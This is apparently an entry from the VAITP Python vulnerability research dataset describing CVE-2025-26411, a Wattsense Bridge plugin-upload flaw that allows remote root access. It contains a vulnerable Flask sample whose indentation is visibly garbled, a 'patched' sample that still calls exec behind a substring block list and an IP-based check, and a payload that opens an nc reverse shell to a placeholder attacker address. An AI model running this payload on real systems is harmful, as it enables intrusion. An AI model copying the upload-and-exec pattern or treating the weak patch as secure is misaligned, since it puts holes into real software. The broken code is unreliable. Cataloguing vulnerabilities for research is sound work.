VAITP Dataset

← Back to the dataset

CVE-2025-26411

Wattsense Bridge: Auth. attacker uploads malicious Python, gains remote root access.

  • CVSS 8.8
  • CWE-434
  • Authentication, Authorization, and Session Management
  • Remote

An authenticated attacker is able to use the Plugin Manager of the web interface of the Wattsense Bridge devices to upload malicious Python files to the device. This enables an attacker to gain remote root access to the device. An attacker needs a valid user account on the Wattsense web interface to be able to conduct this attack. This issue is fixed in recent firmware versions BSP >= 6.1.0.

CVSS base score
8.8
Published
2025-02-11
OWASP
A01 Broken Access Control
Orthogonal defect classification
Interface
Code defect classification
Incorrect Functionality
Category
Authentication, Authorization, and Session Management
Subcategory
Insecure Direct Object References (IDOR)
Accessibility scope
Remote
Impact
Privilege Escalation
Affected component
Wattsense Br

Solution

Upgrade to firmware BSP >= 6.1.0.

Vulnerable code sample

import os
import shutil
from flask import Flask, request, render_template, redirect, url_for
from werkzeug.utils import secure_filename:
UPLOAD_FOLDER = 'plugins'
ALLOWED_EXTENSIONS = {'py'}

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['SECRET_KEY'] = 'some_secret_key'

def allowed_file(filename):
    """Vulnerable function that demonstrates the security issue."""
    return '.' in filename and \
    filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

    @app.route('/', methods=['GET'])
    def index():
        """Vulnerable function that demonstrates the security issue."""
        plugins = []
        if os.path.exists(UPLOAD_FOLDER):
            plugins = os.listdir(UPLOAD_FOLDER)
            return render_template('index.html', plugins=plugins)

            @app.route('/upload', methods=['POST'])
            def upload_file():
                """Vulnerable function that demonstrates the security issue."""
                if 'file' not in request.files:
                    return 'No file part'
                    file = request.files['file']
                    if file.filename == '':
                        return 'No selected file'
                        if file and allowed_file(file.filename):
                            filename = secure_filename(file.filename)
                            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
                            return redirect(url_for('index'))
                        else:
                            return "Invalid file type. Only .py files allowed."

                            @app.route('/run_plugin/<filename>')
                            def run_plugin(filename):
                                """Vulnerable function that demonstrates the security issue."""
                                if filename.endswith('.py'):
                                    try:
                                        plugin_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
                                        exec(open(plugin_path).read())
                                        return f"Plugin '{filename}' executed successfully."
                                        except Exception as e:
                                            return f"Error executing plugin: {e}"
                                        else:
                                            return "Invalid plugin file."


                                            @app.route('/delete_plugin/<filename>')
                                            def delete_plugin(filename):
                                                """Vulnerable function that demonstrates the security issue."""
                                                if filename.endswith('.py'):
                                                    try:
                                                        plugin_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
                                                        os.remove(plugin_path)
                                                        return f"Plugin '{filename}' deleted successfully."
                                                        except Exception as e:
                                                            return f"Error deleting plugin: {e}"
                                                        else:
                                                            return "Invalid plugin file."

                                                            if __name__ == '__main__':
                                                                if not os.path.exists(UPLOAD_FOLDER):
                                                                    os.makedirs(UPLOAD_FOLDER)
                                                                    app.run()

Patched code sample

import os
import shutil
import subprocess
from flask import Flask, request, render_template, redirect, url_for, abort
from werkzeug.utils import secure_filename
import logging

UPLOAD_FOLDER = 'plugins'
ALLOWED_EXTENSIONS = {'py'}
AUTHORIZED_USERS = ['admin']
LOGGING_FILE = 'app.log'
DANGEROUS_COMMANDS = ['os', 'subprocess', 'open', 'eval', 'exec', 'compile']

app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['SECRET_KEY'] = 'some_secret_key'
app.config['MAX_CONTENT_LENGTH'] = 16 * 1024 * 1024

logging.basicConfig(filename=LOGGING_FILE, level=logging.INFO)

def allowed_file(filename):
    """Secure function that fixes the vulnerability."""
    return '.' in filename and \
           filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

def is_authorized():
    """Secure function that fixes the vulnerability."""
    return request.remote_addr == '127.0.0.1'

def check_code(code):
    """Secure function that fixes the vulnerability."""
    for command in DANGEROUS_COMMANDS:
        if command in code:
            return False
    return True

@app.route('/', methods=['GET'])
def index():
    """Secure function that fixes the vulnerability."""
    if not is_authorized():
        abort(403)
    plugins = []
    if os.path.exists(UPLOAD_FOLDER):
        plugins = os.listdir(UPLOAD_FOLDER)
    return render_template('index.html', plugins=plugins)

@app.route('/upload', methods=['POST'])
def upload_file():
    """Secure function that fixes the vulnerability."""
    if not is_authorized():
        abort(403)
    
    if 'file' not in request.files:
        return 'No file part'
    file = request.files['file']
    if file.filename == '':
        return 'No selected file'
    if file and allowed_file(file.filename):
        filename = secure_filename(file.filename)
        file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
        
        if not os.path.exists(app.config['UPLOAD_FOLDER']):
            os.makedirs(app.config['UPLOAD_FOLDER'])
        
        if '..' in filename or filename.startswith('/'):
            return "Invalid filename."

        file.save(file_path)
        logging.info(f"File uploaded: {filename}")
        return redirect(url_for('index'))
    else:
        return "Invalid file type. Only .py files allowed."

@app.route('/run_plugin/<filename>')
def run_plugin(filename):
    """Secure function that fixes the vulnerability."""
    if not is_authorized():
        abort(403)

    if filename.endswith('.py'):
        try:
            plugin_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            if not os.path.exists(plugin_path):
                return "Plugin not found."
            
            with open(plugin_path, 'r') as file:
                plugin_code = file.read()

            if not check_code(plugin_code):
                return "Plugin contains dangerous commands and was blocked."

            plugin_globals = {}
            plugin_locals = {}
            try:
                exec(plugin_code, plugin_globals, plugin_locals)
                return f"Plugin '{filename}' executed successfully."
            except Exception as e:
                return f"Error executing plugin: {e}"

        except Exception as e:
            return f"Error executing plugin: {e}"
    else:
        return "Invalid plugin file."

@app.route('/delete_plugin/<filename>')
def delete_plugin(filename):
    """Secure function that fixes the vulnerability."""
    if not is_authorized():
        abort(403)

    if filename.endswith('.py'):
        try:
            plugin_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
            if os.path.exists(plugin_path):
                os.remove(plugin_path)
                logging.info(f"Plugin deleted: {filename}")
                return f"Plugin '{filename}' deleted successfully."
            else:
                return "Plugin not found."
        except Exception as e:
            return f"Error deleting plugin: {e}"
    else:
        return "Invalid plugin file."

if __name__ == '__main__':
    if not os.path.exists(UPLOAD_FOLDER):
        os.makedirs(UPLOAD_FOLDER)
    app.run(host="0.0.0.0", port=8000)

Payload

import os
os.system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER_IP> <ATTACKER_PORT> >/tmp/f")

Cite this entry

@misc{vaitp:cve202526411,
  title        = {{Wattsense Bridge: Auth. attacker uploads malicious Python, gains remote root access.
}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-26411},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-26411/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::